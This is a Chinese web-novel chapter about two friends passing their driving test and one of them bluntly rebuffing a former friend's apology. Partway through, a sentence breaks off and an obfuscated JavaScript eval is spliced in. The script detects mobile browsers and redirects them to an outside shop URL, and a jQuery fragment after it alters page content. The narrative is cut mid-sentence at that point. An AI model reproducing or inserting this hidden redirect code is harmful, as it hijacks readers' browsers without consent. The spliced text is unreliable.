周三。早上八点半。
县车管所的院子里已经停了一排车。考试专用车是清一色的白色桑塔纳,车顶上竖着"考试车"的红牌子,在太阳底下反着光。候考区的大厅里坐了二三十个人,大部分是中年人——补考的居多,脸上一副"这次再不过就算了"的表情。也有几个年轻人,其中两个是赵磊和宋星燃。
赵磊坐在塑料椅上,翘着二郎腿抖个不停。
"你能不能别抖?"宋星燃坐在他旁边,手里捏着身份证。
"我紧张。"
"你紧张什么。你倒库侧方全进,练了两天教练就让你约考了。"
"那是练车。这是考试。"赵磊的腿抖得更厉害了,"万一我等会儿一上车就熄火呢?万一我倒库的时候手一抖压线呢?万一——"
"你科目一考了三次才过,怎么没见你这么紧张?"
赵磊愣了一下。"那不一样。科目一又不用上车。坐在电脑前点点鼠标,挂了就挂了。科目二挂了——多丢人。"
"那你别挂不就完了。"
赵磊瞪了他一眼,嘴张了两下没找到反驳的词。
九点五十分。工作人员开始叫号。
"第一组,1号到8号,跟我来。"
赵磊是3号,宋星燃是7号。两个人站起来,跟着工作人员穿过走廊,进了考试场地。
场地比驾校的训练场大了一圈。五个项目一字排开——倒车入库、侧方停车、曲线行驶、直角转弯、坡道定点。每个项目前面都停了考试车,车轮底下的水泥地被无数考生的离合磨出了一道道浅沟。边线上立着红外线感应器,碰一下就得扣分。
赵磊深吸了一口气。"那我先上了。"
"加油。"宋星燃说。
赵磊上了3号车。调整座椅、后视镜、系安全带、松手刹——他在驾校练的时候从来不注意这些细节,今天居然一个都没漏。车发动了,慢慢往前开。
宋星燃站在等候区看着。3号车开到倒车入库的库位前面,停住,挂倒挡。车开始往后倒。左后视镜下沿跟库位线重合——向右打死。车身转进来,在右后视镜里画了一条弧线。回正。进库。停车。
没压线。
等候区里有人小声说了句"这把稳"。宋星燃没说话。他盯着那辆车,看它从库里出来,开到侧方停车的位置。
侧方。停住,倒挡。先往右打一圈,看左后视镜,看到库位后角,回正。左后轮即将压到库位线——往左打死。车身滑进库里,停住。
又没压线。
曲线行驶。直角转弯。坡道定点停车与起步。赵磊每个项目都像是在驾校练车一样稳。最后坡道起步的时候离合稍微松得快了一点,车窜了一下,但没熄火。
考试系统屏幕上跳出四个字:考试合格。
赵磊从车上下来的时候,腿不抖了。他走到等候区,脸上的表情从紧张变成了难以置信。
"过了?"
"过了。"宋星燃说。
"我过了?!"赵磊的声音拔高了半度,旁边几个等考试的人转头看他。他赶紧压低了声音,但嘴角已经咧到耳朵根了,"一把过!一把!"
"恭喜。"
"他们呢?"赵磊回头看了看场地,还有几辆车在跑,"你几点考?"
"马上。7号车。"
赵磊拍了拍他的肩膀,表情忽然认真了一下。"别紧张。跟练车一样。"
"你刚才上车之前腿抖成那样,现在跟我说别紧张?"
赵磊笑了一声。"我替你紧张完了。你发挥就行。"
7号车。宋星燃走过去,拉开车门,坐进去。调整座椅——往前挪了两格,靠背往后调了一点。调整后视镜——左后视镜要能看到左后轮,右后视镜要能看到车身侧面。系安全带。松手刹。
他深吸了一口气。
倒车入库。这是他最稳的项目。车开到库位前面,停住,挂倒挡。离合慢慢松,车往后走。左后视镜下沿——跟库位线重合——向右打死。时机对了。车身转进来,看右后视镜——车身跟边线平行——回正。进库。停车。
没压线。
侧方停车。这是他最不稳的项目。
车开到侧方库位旁边。他停住,挂倒挡。右后视镜里看到库位前角——右打一圈。看左后视镜——库位后角出现——回正。左后轮——即将压到库位线——左打死。
车身滑进库里。他看了一眼右后视镜——右后轮离边线很近,但没压上。他屏住呼吸,把车停稳。
红外线感应器没响。
过了。
他在方向盘上擦了擦手心的汗。三个项目了。曲线行驶——没问题。直角转弯——没问题。坡道定点停车——他踩住离合,慢慢往上走。车头前面的小镜子对着停车线——踩刹车。停住了。他看了一眼位置——刚好在线内。
起步。离合踩住,挂一挡,慢松离合,慢松刹车。车开始往前走了。没熄火。
考试系统屏幕上跳出四个字:考试合格。
宋星燃下了车。腿有点软。他站在车旁边缓了两秒,然后往等候区走。
赵磊站在门口等他。看见他走过来,赵磊咧嘴笑了。
"过了?"
"过了。"
"侧方的时候我都替你捏了一把汗。你右后轮离那线就剩两厘米了。"
"你怎么看到的?"
"那边有个大屏幕,能看每辆车的实时监控。你侧方入库的时候,全场等着考试的人都在看。"赵磊比划了一下,"大家都觉得你要压线了。结果你没压。"
宋星燃没说话。他把身份证收好,又把驾校发的考试回执折了两折塞进裤兜里。
赵磊拍了拍他的后背。"走吧。我请客。"
"请什么?"
"去县里那条小吃街。你不是喜欢吃糖葫芦吗?"
宋星燃看了他一眼。"大夏天的哪来的糖葫芦。"
"那吃别的。反正今天我高兴。"赵磊已经往停车场走了。
小吃街在县城中心,沿着一条窄巷子往两边排开。巷子口有卖烤面筋的,往里走是炸鸡柳、铁板鱿鱼、臭豆腐、炒酸奶。油烟味和孜然味混在一起,在头顶上拧成一股看得见的雾气。音箱里放着去年夏天的歌,震得地面微微发颤。
赵磊把电动车停在巷子口的一棵槐树下,拔了钥匙往兜里一塞。
"吃什么?"
"你请客你定。"
"那吃炸鸡柳。那家——"赵磊指着巷子中间一家小摊,"他家鸡柳是鸡胸肉切的,不是那种淀粉团的。"
两个人往巷子里走了不到十步。忽然看见一个人——穿着红色围裙,手里拿着一叠传单。瘦高个,单眼皮,肤色比上学期深了一些——可能是夏天晒的。围裙胸口印着四个字:好又来鸡排。
宋星燃停下了脚步。
沈泽宇。
他站在那里,手里那叠传单刚发完一半。脖子上挂着工作证,头发被汗粘在额头上。一个在小吃街发传单的高中毕业生——暑假打工。跟大街上任何一个穿着围裙拿着传单的人没区别。
沈泽宇也看到了他。手上的传单停了一下。
两个人对视了两秒。
"挺巧哈。"沈泽宇先说。
宋星燃看着他,表情没有任何变化。他微笑了一下。
"不,纯我点儿背。"
赵磊在旁边差点没绷住。他猛地低下头,假装在研究旁边摊子上烤面筋的价格。肩膀一抖一抖的。
沈泽宇愣了一下,脸上的笑僵了一瞬。他低头看了一眼手里的传单,又抬起头来。
"那个——宋星燃——"他往前走了一步。
宋星燃没动。赵磊在边上拉了拉他衣角,小声说:"走吧。"
宋星燃转过身,准备走。
"等一下。"沈泽宇开口了,声音不大,但混在烤面筋的油烟味和音箱的响动里,莫名其妙很清楚,"之前的事情——我一直想跟你说一声对不起。"
宋星燃转过头。
他的目光里有一点震惊。不是感动——是真的震惊。像是听到了一个跟他认知里完全矛盾的事情。
赵磊在旁边看着。他注意到宋星燃的表情变了一下——就一下。然后恢复了。但这一下足够让赵磊理解成"感动"。他甚至在脑子里帮宋星燃把接下来的台词都编好了——"没事,过去的事情就过去吧"、"其实我一直都没怪过你"之类的。以他认识的宋星燃,这种话他是说得出来的。宋星燃虽然嘴上毒,但做人做事从来不小气。
然后宋星燃举起了右手。
握拳。
竖起中指。
赵磊愣住了。
宋星燃的表情没有任何变化。他对着沈泽宇的方向,嘴巴动了一下,无声地比了一个口型——
傻——B。
然后他转过身,头也不回地拉着赵磊走了。
沈泽宇站在原地,手里那叠传单垂下去了一半。
赵磊在宋星燃旁边走了两步,然后彻底崩不住了。
"哈哈哈哈——"他弯下腰,眼泪都快笑出来了,"星哥——星哥你等一下——我不行了——"
"走。"
"不是——你刚才那个表情——我以为你要说没关系——你比了个中指?你比了个中指?!"
"不然呢?"
"我以为你早就已经不在乎了!你之前都不提这个事了,我以为你放下了——"
"谁说我不在乎了?"宋星燃白了他一眼,声音不紧不慢,"凭什么不在乎?"他忽然换了一个调子,像是在哼歌,"凭什么他伤害了我,我还得一笑而过——"
赵磊愣了一下,然后笑得更过分了。"你还唱上了?"
"我这人没什么别的优点,"宋星燃把手插回兜里,"就是爱记仇。"
"那我以后可得小心点。"赵磊说,笑还没完全收住。
"你知道就好。"
两个人往前走。赵磊又回头看了一眼——沈泽宇还站在原地,手里的传单已经发了一半,剩下的一半捏在手里忘了递出去。
赵磊转头看着宋星燃。他脸上的笑容淡了一点。
"听说沈泽宇这次没考好。"
"多好算好?"
"好像只能上一个体育类的三本。"
宋星燃停了半秒。然后继续往前走。
"那还叫没考好?"他说,"能有学上,他家祖坟都冒青烟了。"
赵磊笑了一声。"不过他好像跟他们班的许晗还处着——"
"我知道。"
"许晗考得好像比我差一点,但上个双非应该没问题。"
宋星燃没接话。他当然知道。他上辈子就知道了。
上一世,沈泽宇和许晗的事他也是后来听说的。那时候他已经跟沈泽宇没有任何联系
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17701458|206277||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了——准确地说,是沈泽宇跟他断了联系。他听说沈泽宇去当了兵。大一开学没多久就走了。许晗留在本地读大学,两个人异地。
再后来——大三的时候,许晗在医院检查出了甲状腺癌。不算严重,手术后对生活影响不大,但脖子上留了一条疤。沈泽宇那时候刚退伍回来,去医院陪了一段时间。然后沈母来了。沈母不知道从哪里听到了消息,从老家坐火车赶到医院,当着一病房人的面说了一句话——
"我们家泽宇不能跟一个有病的人在一起。"
沈泽宇站在旁边。没说一句话。
后来他就跟许晗分手了。断崖式的。跟当初对宋星燃一模一样的套路——"我们不合适",然后消失。
死渣男。妈宝男。
"你在想什么?"赵磊问。
"没什么。"
"你那表情不像没什么。"
宋星燃没回答。他走到炸鸡柳的摊子前面,要了两份大份的,加辣的。
摊主是个中年女人,围裙上沾着炸粉。她把鸡柳倒进油锅里,油花在锅里噼里啪啦地炸开。
赵磊在旁边付了钱,又问:"喝什么?"
"绿豆汤。冰的。"
赵磊跑去隔壁摊子买了三杯——两杯绿豆汤,一杯酸梅汤。回来的时候宋星燃已经接过了炸鸡柳,用竹签扎了一块塞进嘴里。
"慢点。烫。"
宋星燃把鸡柳咽下去,又扎了一块。"你今天科二一把过,这顿你请。"
"嗯,付过了。"
赵磊噎了一下。
两个人蹲在巷子口的槐树下,一人一份鸡柳,边吃边喝。太阳已经从头顶偏开了,树荫刚好遮住他们坐的位置。风吹过来的时候带着一股炸鸡柳的油味和远处烧饼摊传来的芝麻香。
赵磊喝了一口酸梅汤,忽然说:"其实我觉得你今天那个中指——"
"怎么了?"
"没什么。挺好的。"赵磊说,"有时候我也想比一个。但我不敢。"
"你不敢什么?"
"我不知道。"赵磊低头咬了块鸡柳,"可能是怕把关系弄僵。可能是觉得事情过去了就算了。可能是觉得——原谅别人显得自己大度一点。"
"大度值几个钱?"宋星燃喝了口绿豆汤,"一个人要是连自己受的委屈都不记得,那还有谁会记得?"
赵磊看了他一眼。
"我不是说叫你记仇记一辈子。"宋星燃把空了的纸碗放在地上,"但是有些人——他伤害了你之后跑来道歉,说你原谅我吧。你原谅了他,他就觉得自己没事了。那你呢?你受的委屈谁赔?"
"那你不原谅他,你也不痛快啊。"
"我挺痛快的。"宋星燃笑了一下,"特别是今天竖完中指之后。特别痛快。你试一次就知道了。"
赵磊想象了一下自己竖中指的场面,没敢往下想。
"那你觉得他以后会怎么样?"赵磊忽然问,"你说他死渣男——但他跟许晗还处着。不是说明挺专情的?"
宋星燃沉默了。
绿豆汤的杯子握在手里,冰凉的,杯壁上凝了一层水珠。他看着远处小吃街口,沈泽宇还站在那里发传单。红色围裙。传单一张一张地递出去。
改?
他心里冷笑了一下。
有些东西改不了。不是因为他"改不了"——是因为他从来就没觉得自己错了。他妈说不能跟有病的人在一起,他就分了。不是他妈逼的——是他选了听他妈的。他做选择的时候从来不考虑别人,他只考虑自己。这一秒的道歉是真的,下一秒的选择也是真的。他没有说谎——他只是永远只活在当下这一秒里。
上辈子对他是这样。上辈子对许晗也是这样。这辈子——
他不知道这辈子沈泽宇和许晗会怎么走下去。他也不知道许晗会不会再得一次甲状腺癌。他只知道一件事——他这辈子不用再等三十七个未接电话了。
"他要是有出息,"宋星燃把空了的绿豆汤杯子捏扁,"算我眼瞎。"
赵磊没再问了。他把最后一块鸡柳塞进嘴里,站起来拍了拍裤子上的土。
"走吧。回家。"
"嗯。"
两个人往电动车那边走。宋星燃走了两步,忽然回头看了一眼。沈泽宇还在那个位置,手里那叠传单只剩最底下几张了。一个小孩跑过去接了一张,看了一眼,扔在下一个垃圾桶里。
宋星燃转回头。赵磊已经把电动车推出来了,拍了拍后座。
"上来。"
"你骑慢点。刚考完科二,别在街上挂。"
"你能不能别咒我?"
宋星燃上了后座。电动车从槐树底下开出来,拐进主路。风从前面灌过来,带着小吃街的油烟味和远处田里的土味。
他忽然想起来——今天是一把过的科目二。对。赵磊一次过。他自己第二次才过。但这件事在遇到沈泽宇之后就完全不重要了。
重要的不是他过了。重要的是他竖了那个中指。
他在后座上忽然笑了一下。
"你笑什么?"赵磊在前面喊。
"没什么。"
"又没什么。"
"就是觉得——"宋星燃靠着电动车后座,看着街两边往后退的店铺和行人,"日子过得挺好。"
赵磊没回头,但电动车的速度快了一点。
"那就行。"他说。